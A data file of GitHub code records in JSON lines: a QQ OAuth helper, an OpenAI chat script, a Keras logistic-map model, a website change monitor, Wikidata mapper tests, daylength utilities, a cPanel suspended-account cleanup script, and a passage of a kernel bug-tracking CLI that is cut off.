{"seq_id":"73475569380","text":"from urllib.parse import urlencode, parse_qs\nfrom urllib.request import urlopen\nfrom django.conf import settings\nimport logging\nimport json\n\nlogger = logging.getLogger(\"django\")\n\nclass OAuthQQ(object):\n    \"\"\"QQ认证辅助工具类\"\"\"\n    def __init__(self, app_id=None, app_key=None, redirect_uri=None, state=None):\n        self.app_id = app_id or settings.QQ_APP_ID\n        self.app_key = app_key or settings.QQ_APP_KEY\n        self.redirect_uri = redirect_uri or settings.QQ_REDIRECT_URL\n        # 用于保存登录成功后的跳转页面路径\n        self.state = state or settings.QQ_STATE\n\n    def get_auth_url(self):\n        \"\"\"\n        获取qq登录的网址\n        :return: url网址路径\n        \"\"\"\n        params = {\n            \"response_type\": \"code\",\n            \"client_id\": self.app_id,\n            \"redirect_uri\": self.redirect_uri,\n            \"state\": self.state,\n            \"scope\": \"get_user_info\",\n        }\n        url = \"https://graph.qq.com/oauth2.0/authorize?\" + urlencode(params)\n\n        return url\n\n    def get_access_token(self, code=None):\n        \"\"\"通过授权码获取临时票据access_token\"\"\"\n        params = {\n            \"grant_type\": \"authorization_code\",\n            \"client_id\": self.app_id,\n            \"client_secret\": self.app_key,\n            \"redirect_uri\": self.redirect_uri,\n            \"code\": code,\n        }\n        # urlencode把字典转化成查询字符串格式\n        url = \"https://graph.qq.com/oauth2.0/token?\" + urlencode(params)\n        try:\n            response = urlopen(url)\n            response_data = response.read().decode()\n            # parse_qs把字符串格式的内容转化成字典[注意⚠️：转化后的字典，值是列表格式]\n            data = parse_qs(response_data)\n            if data.get(\"access_token\") != None:\n                access_token = data.get(\"access_token\")[0]\n                refresh_token = data.get(\"refresh_token\")[0]\n            else:\n                raise OAuthQQTokenError(\"code已经过期,请重新登录QQ账号\")\n        except:\n            logger.error(f\"code={data.get('code')} msg={data.get('msg')}\")\n            raise OAuthQQTokenError\n        return access_token, refresh_token\n\n    def get_open_id(self, access_token=None):\n        \"\"\"根据access_token获取openid\"\"\"\n        url = \"https://graph.qq.com/oauth2.0/me?access_token=\" + access_token\n        try:\n            response = urlopen(url)\n            response_data = response.read().decode()\n            data = json.loads(response_data[10:-4])\n            openid = data.get(\"openid\")\n        except:\n            logger.error(f\"code={data.get('code')} msg={data.get('msg')}\")\n            raise OAuthQQErrorOpenID\n        return openid\n\n    def get_qq_user_info(self, access_token=None, openid=None):\n        params = {\n            \"access_token\": access_token,\n            \"oauth_consumer_key\": self.app_id,\n            \"openid\": openid,\n        }\n        url = \"https://graph.qq.com/user/get_user_info?\" + urlencode(params)\n        try:\n            response = urlopen(url)\n            response_data = response.read().decode()\n            data = json.loads(response_data)\n        except:\n            logger.error(f\"code={data.get('code')} msg={data.get('msg')}\")\n            raise OAuthQQErrorUserInfo\n        return data\n\n\nclass OAuthQQTokenError(Exception):\n    pass\n\nclass OAuthQQErrorOpenID(Exception):\n    pass\n\nclass OAuthQQErrorUserInfo(Exception):\n    pass\n","repo_name":"xiaohaogeya/renran","sub_path":"renranapi/renranapi/apps/oauth/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70779632101","text":"from dotenv import load_dotenv\nload_dotenv()\nimport openai\nimport os\n\n\ndef chat_with_gpt(prompt):\n    openai.organization = os.getenv('OPENAI_ORG_ID')\n    openai.api_key = os.getenv('OPENAI_API_KEY')\n\n    messages = [\n        {\"role\": \"system\", \"content\": \"You are a super helpful AI assistant. You will always find a way to answer the questions \"\n         \"you are asked. If you do not know the answer you will answer truthfully that you do not know\"},\n        {\"role\": \"user\", \"content\": prompt}\n        ]\n\n    response = openai.ChatCompletion.create(\n        model=\"gpt-3.5-turbo\",\n        messages=messages,\n        temperature=1\n    )\n\n    return response.choices[0].message['content'].strip()\n\ndef main():\n    while True:\n        prompt = input('What is your question? > ')\n        response = chat_with_gpt(prompt)\n        print(response)\n        again = input('Quit or ask again? > ').strip().lower()\n        if again.startswith('q'):\n            break\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"grizzdank/openaitest","sub_path":"openaitest.py","file_name":"openaitest.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35121348239","text":"# *****************************************\n# A simple neural net using\n# Keras and TensorFlow for\n# training a neural netowrk to learn\n# the Feigenbaum Map\n#\n# June 1, 2017\n# Miles R. Porter, Painted Harmony Group\n# This code is free to use and distribute\n# *****************************************\nimport tensorflow as tf\nimport numpy as np\nnp.random.seed(42)\n\nfrom tensorflow import set_random_seed\nset_random_seed(2)\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\n\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom datetime import datetime\n\n\n\n# load dataset\ndf = pd.read_csv(\"logistics_10k.csv\", header=1, names=['n','n+1'])\n\n\n# split into input (X) and output (Y) variables\n\nX = df['n']\nY = df['n+1']\n\n\n# Set up the network\n\ndef neural_network_model():\n\n    the_model = Sequential()\n    the_model.add(Dense(5, activation='relu', input_dim=1))\n    the_model.add(Dense(500, activation='relu', input_dim=1))\n    the_model.add(Dense(1200, activation='relu', input_dim=1))\n    the_model.add(Dense(500, activation='relu', input_dim=1))\n    the_model.add(Dense(5, activation='relu', input_dim=1))\n    the_model.add(Dense(1))\n    the_model.summary()\n    the_model.compile(optimizer='rmsprop',\n                  loss='mean_squared_error')\n    return the_model\n\n\nmodel = neural_network_model()\nst = datetime.now()\nresults = model.fit(X, Y, epochs=25, batch_size=16, verbose=1)\net = datetime.now()\nprint(\"Training is complete.\\n\")\nprint(\"\\n\\nTraining time: {}\\n\\n\".format(et-st))\n\nplt.subplot(2, 1, 1)\nplt.title(\"Error\")\nplt.plot(results.history['loss'])\n\n# Make predictions\n\ninputs = np.random.rand(1, 100)[0]\n\nprediction = model.predict(inputs, batch_size=1, verbose=0)\n\n# Plot the predicted and expected results\nexpected = inputs * 4.0 * (1.0 - inputs)\n\nplt.subplot(2, 1, 2)\nplt.title(\"Results\")\nfor i in range(0, len(inputs)):\n    p = prediction[i]\n    e = expected[i]\n    plt.scatter(i, p, s=1, color=\"red\")\n    plt.scatter(i, e, s=1, color=\"blue\")\n\nplt.show()\n","repo_name":"fractalbass/simple_neural_net","sub_path":"logistics_map_net.py","file_name":"logistics_map_net.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26247656853","text":"import requests\nimport sqlite3\nfrom datetime import datetime, timedelta\nimport hashlib\nfrom typing import Optional, Tuple, List, Dict\nimport argparse\nfrom contextlib import closing\n\ndef create_tables(cursor: sqlite3.Cursor) -> None:\n    create_website_table_query = '''\n    CREATE TABLE IF NOT EXISTS websites (\n        url TEXT PRIMARY KEY,\n        timestamp DATETIME,\n        content_hash TEXT,\n        content TEXT\n    )\n    '''\n    create_urls_table_query = '''\n    CREATE TABLE IF NOT EXISTS urls (\n        url TEXT PRIMARY KEY\n    )\n    '''\n    create_website_archive_table_query = '''\n    CREATE TABLE IF NOT EXISTS website_archive (\n        url TEXT,\n        timestamp DATETIME,\n        content_hash TEXT,\n        content TEXT\n    )\n    '''\n    cursor.execute(create_website_table_query)\n    cursor.execute(create_website_archive_table_query)\n    cursor.execute(create_urls_table_query)\n\ndef update_urls(cursor: sqlite3.Cursor, new_urls: List[str]) -> None:\n    timestamp = datetime.now()\n    for url in new_urls:\n        try:\n            cursor.execute('INSERT OR IGNORE INTO urls (url, last_checked) VALUES (?, ?)', (url, timestamp))\n            cursor.execute('UPDATE urls SET last_checked = ? WHERE url = ?', (timestamp, url))\n        except sqlite3.Error as e:\n            print(f\"Database error occurred while updating URL {url}: {e}\")\n    print(f\"Added {len(new_urls)} url(s).\")\n\n\ndef remove_urls(cursor: sqlite3.Cursor, del_urls: List[str]) -> None:\n    del_cnt = 0\n    for url in del_urls:\n        try:\n            cursor.execute('DELETE FROM urls WHERE url = ?', (url,))\n            del_cnt += 1\n        except sqlite3.Error as e:\n            print(f\"Database error occurred while deleting URL {url}: {e}\")\n    print(f\"Deleted {del_cnt} url(s).\")\n\ndef get_all_urls(cursor: sqlite3.Cursor) -> List[str]:\n    cursor.execute('SELECT url FROM urls')\n    return [row[0] for row in cursor.fetchall()]\n\ndef get_website_content(url: str) -> str:\n    try:\n        response = requests.get(url)\n        response.raise_for_status()\n    except requests.exceptions.RequestException as err:\n        print(f\"Request error occurred with {url}:\", err)\n        return ''\n    return response.text\n\ndef get_content_hash(content: str) -> str:\n    return hashlib.sha256(content.encode()).hexdigest()\n\ndef should_fetch_content(cursor: sqlite3.Cursor, url: str, time_delta_minutes: int) -> Tuple[bool, Optional[str]]:\n    cursor.execute('SELECT content_hash FROM websites WHERE url = ?', (url,))\n    hash_result = cursor.fetchone()\n    cursor.execute('SELECT last_checked FROM urls WHERE url = ?', (url,))\n    timestamp = cursor.fetchone()[0]\n\n    if hash_result is not None:\n        old_content_hash = hash_result[0]\n    else:\n        return True, None\n\n    datetime_last_checked = datetime.strptime(timestamp, '%Y-%m-%d %H:%M:%S.%f')\n    timestamp_now_minus_window = datetime.now() - timedelta(minutes=time_delta_minutes)\n    if datetime_last_checked < timestamp_now_minus_window:\n        # print(f'URL {url} has not been checked in {time_delta_minutes} minutes.')\n        return True, old_content_hash\n    else:\n        print(f'URL {url} has been checked in last {time_delta_minutes} minutes.')\n\n    return False, None\n\ndef store_website_content(cursor: sqlite3.Cursor, url: str, content: str) -> None:\n    timestamp = datetime.now()\n    content_hash = get_content_hash(content)\n\n    cursor.execute('INSERT INTO websites (url, timestamp, content_hash, content) VALUES (?, ?, ?, ?)', (url, timestamp, content_hash, content))\n\ndef archive_old_website_content(cursor: sqlite3.Cursor, url: str) -> None:\n\n    cursor.execute('SELECT * FROM websites WHERE url = ?', (url,))\n    data = cursor.fetchone()\n\n    assert data is not None, \"Attempted to archive old record, but couldn't find data to archive.\"\n\n    cursor.execute('INSERT INTO website_archive (url, timestamp, content_hash, content) VALUES (?, ?, ?, ?)', data)\n    cursor.execute('DELETE FROM websites WHERE url = ?', (url,))\n\ndef parse_args() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(description='Monitor changes in websites.')\n    parser.add_argument('--new_urls', nargs='+', default=[],\n                        help='List of new URLs to monitor.')\n    parser.add_argument('--del_urls', nargs='+', default=[],\n                        help='List of URLs to stop monitoring.')\n    parser.add_argument('--time_delta_minutes', type=int, default=60,\n                        help='Time window in minutes for checking updates.')\n    return parser.parse_args()\n\ndef monitor_website_changes(cursor: sqlite3.Cursor, urls: List[str], time_delta_minutes: int) -> Dict[str, int]:\n    stats = {'num_errors': 0, 'num_fetches': 0, 'num_changes': 0, 'num_new_pages': 0}\n\n    for url in urls:\n        should_fetch, old_content_hash = should_fetch_content(cursor, url, time_delta_minutes)\n        if should_fetch:\n            stats['num_fetches'] += 1\n            print(f'Evaluating URL: {url}')\n            current_content = get_website_content(url)\n            if not current_content:\n                stats['num_errors'] += 1\n                continue\n            current_content_hash = get_content_hash(current_content)\n            if old_content_hash is None:\n                print(f'Adding new page: {url}')\n                stats['num_new_pages'] += 1\n                store_website_content(cursor, url, current_content)\n            elif old_content_hash != current_content_hash:\n                print(f'Page has changed: {url}')\n                stats['num_changes'] += 1\n                archive_old_website_content(cursor, url)\n                store_website_content(cursor, url, current_content)\n            cursor.execute('UPDATE urls SET last_checked = ? WHERE url = ?', (datetime.now(), url))\n\n    return stats\n\n\ndef main() -> None:\n    args = parse_args()\n\n    with sqlite3.connect('website_content.db') as conn, closing(conn.cursor()) as cursor:\n        create_tables(cursor)\n        update_urls(cursor, args.new_urls)\n        remove_urls(cursor, args.del_urls)\n        urls = get_all_urls(cursor)\n\n        print(f'Number of URLs to evaluate: {len(urls)}')\n\n        stats = monitor_website_changes(cursor, urls, args.time_delta_minutes)\n        \n        conn.commit()\n\n    if stats['num_fetches'] > 0:\n        print(f'Total new pages added: {stats[\"num_new_pages\"]}')\n        print(f'Total pages changed: {stats[\"num_changes\"]}')\n        print(f'Total errors: {stats[\"num_errors\"]}')\n\nif __name__ == '__main__':\n    main()\n","repo_name":"NilReboot/website_changes_tracker","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19836652572","text":"import pytest\nfrom typing import List\n\nBAVARIAN_PARAMS = [\n    pytest.param(\"Stoaboog\", \"Q168327\"),\n    pytest.param(\"Wechslkrod\", \"Q243242\"),\n    pytest.param(\"Wickiana\", \"Q2567666\"),\n    pytest.param(\"Ulrich_Zwingli\", \"Q123034\"),\n    pytest.param(\"Jingstes_Gricht\", \"Q1821239\"),\n    pytest.param(\"Sånkt_Johann_im_Pongau\", \"Q251022\", id=\"Has special character\"),\n    pytest.param(\"Quadrátkilometa\", \"Q25343\", id=\"Has redirect\"),\n    pytest.param(\"D'_boarische_Woocha\", \"Q20616808\", id=\"Has special character\"),\n    pytest.param(\"I am not in the Wiki\", None, id=\"Title not in the wiki\"),\n    pytest.param(\"tungsten\", None, id=\"In the index, but not mapped\"),\n]\n\n\n@pytest.mark.parametrize(\"page_title, expected\", BAVARIAN_PARAMS)\ndef test_title_to_id(bavarian_wiki_mapper, page_title: str, expected: str):\n    mapper = bavarian_wiki_mapper\n\n    wikidata_id = mapper.title_to_id(page_title)\n\n    assert wikidata_id == expected\n\n\n@pytest.mark.parametrize(\"page_title, expected\", BAVARIAN_PARAMS)\ndef test_url_to_id(bavarian_wiki_mapper, page_title: str, expected: str):\n    mapper = bavarian_wiki_mapper\n\n    url = \"https://bar.wikipedia.org/wiki/\" + page_title\n    wikidata_id = mapper.url_to_id(url)\n\n    assert wikidata_id == expected\n\n\n@pytest.mark.parametrize(\n    \"wikidata_id, expected\",\n    [\n        (\"Q1027119\", [\"Gallesium\", \"Gallese\", \"Gallesium_(Titularbistum)\"]),\n        (\"Q102904\", [\"Vulkanologie\", \"Vuikanologie\"]),\n        (\"Q160525\", ['Brezn', 'Breze', 'Brezel', 'Brezen']),\n        (\"12345678909876543210\", []),\n    ],\n)\ndef test_id_to_titles(bavarian_wiki_mapper, wikidata_id: str, expected: str):\n    mapper = bavarian_wiki_mapper\n\n    titles = mapper.id_to_titles(wikidata_id)\n\n    assert set(titles) == set(expected)\n\n\n@pytest.mark.parametrize(\n    \"wikipedia_id, expected\",\n    [\n        (24520, \"Q168327\"),   # Stoaboog\n        (8535, \"Q243242\"),    # Wechslkrod\n        (32218, None),        # Wechslkrod, but namespace 1, so cannot be in the database\n        (32176, \"Q2567666\"),  # Wickiana\n        (32252, \"Q123034\"),   # Ulrich_Zwingli\n        (32311, \"Q1821239\"),  # Jingstes_Gricht\n        (2143, \"Q251022\"),    # Sånkt_Johann_im_Pongau\n        (2217, \"Q25343\"),     # Quadrátkilometa\n        (4209, \"Q20616808\"),  # D'_boarische_Woocha\n        (1997, \"Q160525\"),    # Brezn\n        (5740, None),         # Brezn, but namespace 1, so cannot be in the database\n        (24100, \"Q160525\"),   # Brezel\n        (28193, \"Q160525\"),   # Brezen\n        (105208, \"Q102904\"),  # Vulkanologie\n        (105288, \"Q102904\"),  # Vuikanologie\n    ]\n)\ndef test_wikipedia_id_to_id(bavarian_wiki_mapper, wikipedia_id: int, expected: str):\n    mapper = bavarian_wiki_mapper\n\n    wikidata_id = mapper.wikipedia_id_to_id(wikipedia_id)\n\n    assert wikidata_id == expected\n\n\n@pytest.mark.parametrize(\n    \"wikidata_id, expected\",\n    [\n        (\"Q1027119\", [105563, 105564, 105565]),   # Gallesium, Gallese, Gallesium_(Titularbistum)\n        (\"Q102904\", [105208, 105288]),            # Vulkanologie, Vuikanologie\n        (\"Q160525\", [1997, 2778, 24100, 28193]),  # Brezn, Breze, Brezel, Brezen\n        (\"12345678909876543210\", []),\n    ]\n)\ndef test_id_to_wikipedia_ids(bavarian_wiki_mapper, wikidata_id: str, expected: List[int]):\n    mapper = bavarian_wiki_mapper\n\n    wikipedia_ids = mapper.id_to_wikipedia_ids(wikidata_id)\n\n    assert set(wikipedia_ids) == set(expected)\n\n\n@pytest.mark.parametrize(\n    \"wikipedia_id, expected\",\n    [\n        (24520, \"Stoaboog\"),\n        (8535, \"Wechslkrod\"),\n        (32218, None),  # Wechslkrod, but namespace 1, so cannot be in the database\n        (32176, \"Wickiana\"),\n        (32252, \"Ulrich_Zwingli\"),\n        (32311, \"Jingstes_Gricht\"),\n        (2143, \"Sånkt_Johann_im_Pongau\"),\n        (2217, \"Quadrátkilometa\"),\n        (4209, \"D'_boarische_Woocha\"),\n        (1997, \"Brezn\"),\n        (5740, None),  # Brezn, but namespace 1, so cannot be in the database\n        (24100, \"Brezel\"),\n        (28193, \"Brezen\"),\n        (105208, \"Vulkanologie\"),\n        (105288, \"Vuikanologie\"),\n    ]\n)\ndef test_wikipedia_id_to_title(bavarian_wiki_mapper, wikipedia_id: int, expected: str):\n    mapper = bavarian_wiki_mapper\n\n    title = mapper.wikipedia_id_to_title(wikipedia_id)\n\n    assert title == expected\n\n\n@pytest.mark.parametrize(\n    \"title, expected\",\n    [\n        (\"Stoaboog\", 24520),\n        (\"Wechslkrod\", 8535),\n        (\"Wickiana\", 32176),\n        (\"Ulrich_Zwingli\", 32252),\n        (\"Jingstes_Gricht\", 32311),\n        (\"Sånkt_Johann_im_Pongau\", 2143),\n        (\"Quadrátkilometa\", 2217),\n        (\"D'_boarische_Woocha\", 4209),\n        (\"Brezn\", 1997),\n        (\"Brezel\", 24100),\n        (\"Brezen\", 28193),\n        (\"Vulkanologie\", 105208),\n        (\"Vuikanologie\", 105288),\n        (\"xxxxxxxxxx\", None),\n    ]\n)\ndef test_wikipedia_id_to_title(bavarian_wiki_mapper, title: str, expected: int):\n    mapper = bavarian_wiki_mapper\n\n    wikipedia_id = mapper.title_to_wikipedia_id(title)\n\n    assert wikipedia_id == expected\n","repo_name":"jcklie/wikimapper","sub_path":"tests/test_mapper.py","file_name":"test_mapper.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"35"}
{"seq_id":"23365074368","text":"# coding: utf8\n\nimport ephem\nimport pandas as pd\nimport numpy as np\nfrom geopy.geocoders import Nominatim\nfrom datetime import datetime, timedelta\n\n\ndef import_meteo_data(meteo_path, sowing_date, site):\n    meteo_data = pd.read_csv(meteo_path, sep=',')\n    meteo_data = meteo_data[meteo_data.site == site]\n    meteo_data = thermal_time_calculation(meteo_data, sowing_date)\n    meteo_data['experimental_day'] = list(range(1, len(meteo_data) + 1))\n    if 'daylength' in meteo_data.columns:\n        return meteo_data\n    else:\n        meteo_data = daylength_series(meteo_data)\n        return meteo_data\n\n\ndef thermal_time_calculation(meteo_data, sowing_date):\n    \"\"\"\n    :param meteo_data: dataframe with 2 columns:   date: format 'YYYY_mm_dd'\n                                                   temperature: daily mean temperature (float in °C)\n    :param sowing_date: date: format 'YYYY_mm_dd'\n    :return:\n    \"\"\"\n    meteo_data.date = pd.to_datetime(meteo_data.date, format='%Y_%m_%d')\n    meteo_data = meteo_data.sort_values(by=['date'])\n    meteo_data.loc[meteo_data.mean_temperature < 0, 'mean_temperature'] = 0\n    if len(meteo_data[meteo_data.mean_temperature.isnull()].index) > 0:\n        for id_missing_value in meteo_data[meteo_data.mean_temperature.isnull()].index:\n            if id_missing_value == min(meteo_data.index) or id_missing_value == max(meteo_data.index):\n                meteo_data.mean_temperature[meteo_data.index == id_missing_value] = 0\n            else:\n                prev_value = meteo_data.mean_temperature[meteo_data.index == id_missing_value - 1].item()\n                next_value = meteo_data.mean_temperature[meteo_data.index == id_missing_value + 1].item()\n                meteo_data.loc[id_missing_value, 'mean_temperature'] = np.mean([prev_value, next_value])\n    meteo_data = meteo_data.loc[meteo_data['date'] >= pd.to_datetime(sowing_date, format='%Y_%m_%d')]\n    meteo_data['thermal_time_cumul'] = meteo_data.mean_temperature.cumsum()\n    return meteo_data\n\n\ndef set_observer(address):\n    \"\"\"\n    This method creates a object of class 'ephem.Observer'\n    Arguments:\n    - address:\n        address of the geographical location of the site to be simulated\n        type: str\n    \"\"\"\n    geolocator = Nominatim(user_agent=\"rouet\")\n    location = geolocator.geocode(address)\n    latitude = location.latitude\n    longitude = location.longitude\n    elev = location.altitude\n    obs = ephem.Observer()\n    obs.lon = str(longitude)\n    obs.lat = str(latitude)\n    obs.elev = elev\n    return obs\n\n\n# obs.horizon = '-0:34'\n# We relocate the horizon to get twilight times\n# obs.horizon = '-6' #-6=civil twilight, -12=nautical, -18=astronomical\n# beg_twilight=obs.previous_rising(ephem.Sun(), use_center=True) #Begin civil twilight\n# end_twilight=fred.next_setting   (ephem.Sun(), use_center=True) #End civil twilight\n# https://stackoverflow.com/questions/2637293/calculating-dawn-and-sunset-times-using-pyephem\n\n\ndef daylength_for_a_date(date, observer):\n    \"\"\"\n    This method calculates daylength for one date and one object of class 'ephem.Observer'\n    Arguments:\n    - date:\n        date of the day as a string : 'YYYY_mm_dd'\n        type: str\n    - observer:\n\n    return a daylength in hours\n    \"\"\"\n    date_at_noon = date + timedelta(hours=12)\n    observer.date = date_at_noon\n    sunrise = observer.previous_rising(ephem.Sun())                              # GTM hour\n    sunrise = datetime.strptime(str(sunrise), '%Y/%m/%d %H:%M:%S')               # GTM hour\n    sunset = observer.next_setting(ephem.Sun())                                  # GTM hour\n    sunset = datetime.strptime(str(sunset), '%Y/%m/%d %H:%M:%S')                 # GTM hour\n    dl = sunset - sunrise\n    daylength = dl.seconds/3600.                    # Change from unit 'second' to unit 'hour'\n    return daylength\n\n\ndef daylength_series(data):\n    \"\"\"\n    This method creates a pandas.DataFrame with dates and associated daylengths for a location\n    Arguments:\n    - data:\n        dataframe with a column named date 'YYYY_mm_dd'\n        type: str\n    - address:\n        address of the geographical location of the site to be simulated\n        type: str\n    \"\"\"\n    observer = set_observer(data.iloc[0].site)\n    data['daylength'] = data.apply(lambda x: daylength_for_a_date(x['date'], observer), axis=1).tolist()\n    return data\n","repo_name":"openalea-incubator/lgrass","sub_path":"lgrass/meteo_ephem.py","file_name":"meteo_ephem.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"30847626794","text":"import numpy as np\nimport pandas as pd\nimport math\n\ndef batch_gen(X, batch_size):\n    # Borrowed from https://github.com/shashankg7/Keras-CNN-QA\n   \n    n_batches = X.shape[0]/float(batch_size)\n    n_batches = int(math.ceil(n_batches))\n    end = int(X.shape[0]/float(batch_size)) * batch_size\n    n = 0\n    for i in range(0,n_batches):\n        if i < n_batches - 1: \n            if len(X.shape) > 1:\n                batch = X[i*batch_size:(i+1) * batch_size, :]\n                yield batch\n            else:\n                batch = X[i*batch_size:(i+1) * batch_size]\n                yield batch\n        \n        else:\n            if len(X.shape) > 1:\n                batch = X[end: , :]\n                n += X[end:, :].shape[0]\n                yield batch\n            else:\n                batch = X[end:]\n                n += X[end:].shape[0]\n                yield batch\n","repo_name":"ecom-research/CRM-LTR","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"35"}
{"seq_id":"70445326820","text":"#! /usr/bin/python\n# Binh Pham - bphamt@gmail.com\n# Lists all the suspended account of a cPanel\n# Gives the option to terminate all the suspended accounts\n\n# Used for linux command-line manipulation\nimport os\n\n# Path to suspended user in cPanel\npath = \"/var/cpanel/suspended/\"\n\n# Add user to a list called 'dir_list'\ndir_list = os.listdir(path)\n\n\ndef terminate_accounts():\n    \"\"\"\n    Terminates cPanel account if user agrees\n    @param dir_list: list of suspended users\n    \"\"\"\n    for i in dir_list:\n        cmd = \"/usr/local/cpanel/scripts/removeacct \" + str(i) + \" --force\"\n        os.system(cmd)\n\n    print(\"\\n\\nThe following accounts have been terminated:\")\n    for x in dir_list:\n        print(\" - \" + str(x))\n\n\nif not dir_list:\n    print(\"No suspended account on server\")\nelse:\n    print(\"List of suspended accounts:\")\n    for i in dir_list:\n        print(\" - \" + str(i))\n    input_variable = raw_input(\"\\nDo you want to terminate the above suspended cPanel accounts (Y/N)? \")\n    if str(input_variable) == 'Y' or str(input_variable) == 'y':\n        terminate_accounts()\n    else:\n        quit()\n","repo_name":"bphamt/cPanel-Scripts","sub_path":"terminate_suspended_account.py","file_name":"terminate_suspended_account.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20410168554","text":"import pandas as pd\nimport numpy as np\nimport scipy.stats as sps\nfrom statsmodels.stats.proportion import proportions_ztest\n\nchat_id = 0 # Ваш chat ID, не меняйте название переменной\n\ndef solution(x_success: int, \n             x_cnt: int, \n             y_success: int, \n             y_cnt: int) -> bool:\n    alpha = 0.08\n    stat, pval = proportions_ztest(count=[x_success, y_success], \n                                   nobs=[x_cnt, y_cnt],\n                                   alternative='smaller')\n    return pval < alpha","repo_name":"artem-eshtokin/it_learning","sub_path":"tinkoff/ADVI23/dz6/1/solution_1.py","file_name":"solution_1.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30394429037","text":"import re\nimport sys\nfrom typing import Any, Dict, List, Optional, Sequence, TextIO, Tuple, cast\n\nimport click\nimport koji\nfrom bugzilla import Bugzilla\nfrom bugzilla.bug import Bug\nfrom jira import JIRA, Issue\nfrom tenacity import retry, stop_after_attempt\n\nfrom elliottlib import Runtime, brew\nfrom elliottlib.assembly import AssemblyTypes\nfrom elliottlib.cli.common import cli, click_coroutine\nfrom elliottlib.config_model import KernelBugSweepConfig\nfrom elliottlib.exceptions import ElliottFatalError\nfrom elliottlib.util import green_print\nfrom elliottlib.bzutil import JIRABugTracker\n\n\n@retry(reraise=True, stop=stop_after_attempt(3))\ndef _search_issues(jira_client, *args, **kwargs):\n    return jira_client.search_issues(*args, **kwargs)\n\n\nclass FindBugsKernelCli:\n    def __init__(self, runtime: Runtime, trackers: Sequence[str],\n                 clone: bool, reconcile: bool, comment: bool, dry_run: bool):\n        self._runtime = runtime\n        self._logger = runtime.logger\n        self.trackers = list(trackers)\n        self.clone = clone\n        self.reconcile = reconcile\n        self.comment = comment\n        self.dry_run = dry_run\n        self._id_bugs: Dict[int, Bug] = {}  # cache for kernel bug; key is bug_id, value is Bug object\n        self._tracker_map: Dict[int, Issue] = {}  # bug_id -> KMAINT jira mapping\n\n    async def run(self):\n        logger = self._logger\n        if self.reconcile and not self.clone:\n            raise ElliottFatalError(\"--reconcile must be used with --clone\")\n        if self._runtime.assembly_type is not AssemblyTypes.STREAM:\n            raise ElliottFatalError(\"This command only supports stream assembly\")\n        group_config = self._runtime.group_config\n        raw_config = self._runtime.gitdata.load_data(key='bug', replace_vars=group_config.vars).data.get(\"kernel_bug_sweep\")\n        if not raw_config:\n            logger.warning(\"kernel_bug_sweep is not defined in bug.yml\")\n            return\n        config = KernelBugSweepConfig.parse_obj(raw_config)\n        jira_tracker = self._runtime.get_bug_tracker(\"jira\")\n        jira_client: JIRA = jira_tracker._client\n        bz_tracker = self._runtime.get_bug_tracker(\"bugzilla\")\n        bz_client: Bugzilla = bz_tracker._client\n        koji_api = self._runtime.build_retrying_koji_client(caching=True)\n\n        # Getting KMAINT trackers\n        trackers_keys = self.trackers\n        trackers: List[Issue] = []\n        if not trackers_keys:\n            logger.info(\"Searching for open trackers...\")\n            trackers = self._find_kmaint_trackers(jira_client, config.tracker_jira.project, config.tracker_jira.labels)\n            trackers_keys = [t.key for t in trackers]\n            logger.info(\"Found %s tracker(s): %s\", len(trackers_keys), trackers_keys)\n        else:\n            logger.info(\"Find kernel bugs linked from KMAINT tracker(s): %s\", trackers_keys)\n            for key in trackers_keys:\n                logger.info(\"Getting tracker JIRA %s...\", key)\n                tracker = jira_client.issue(key)\n                trackers.append(tracker)\n\n        # Get kernel bugs linked from KMAINT trackers\n        report: Dict[str, Any] = {\"kernel_bugs\": []}\n        for tracker in trackers:\n            bugs = self._find_bugs(jira_client, tracker, bz_client, config.bugzilla.target_releases)\n            bug_ids = {int(b.id) for b in bugs}\n            logger.info(\"Found %s bug(s) from %s: %s\", len(bugs), tracker, bug_ids)\n            for bug_id, bug in zip(bug_ids, bugs):\n                if bug_id in self._tracker_map and self._tracker_map[bug_id].key != tracker.key:\n                    raise ValueError(f\"Bug {bug_id} is linked in multiple KMAINT trackers: {tracker.key} {self._tracker_map[bug_id].key}\")\n                self._id_bugs[bug_id] = bug\n                self._tracker_map[bug_id] = tracker\n                report[\"kernel_bugs\"].append({\n                    \"id\": bug_id,\n                    \"status\": bug.status,\n                    \"summary\": bug.summary,\n                    \"tracker\": tracker,\n                })\n            if self.comment:\n                logger.info(\"Checking if making a comment on tracker %s is needed...\", tracker.key)\n                self._comment_on_tracker(jira_client, tracker, koji_api, config.target_jira)\n\n        if self.clone and self._id_bugs:\n            # Clone kernel bugs into OCP Jira\n            logger.info(\"Cloning bugs...\")\n            cloned_issues = self._clone_bugs(jira_client, list(self._id_bugs.values()), config.target_jira)\n            report[\"clones\"] = {}\n            for bug_id, issues in cloned_issues.items():\n                report[\"clones\"][bug_id] = sorted(issue.key for issue in issues)\n            logger.info(\"Done.\")\n\n        # Print a report\n        self._print_report(report, sys.stdout)\n\n    @staticmethod\n    def _find_kmaint_trackers(jira_client: JIRA, tracker_project: str, labels: List[str]):\n        conditions = [\n            f\"project = {tracker_project}\",\n            \"status != Closed\",\n        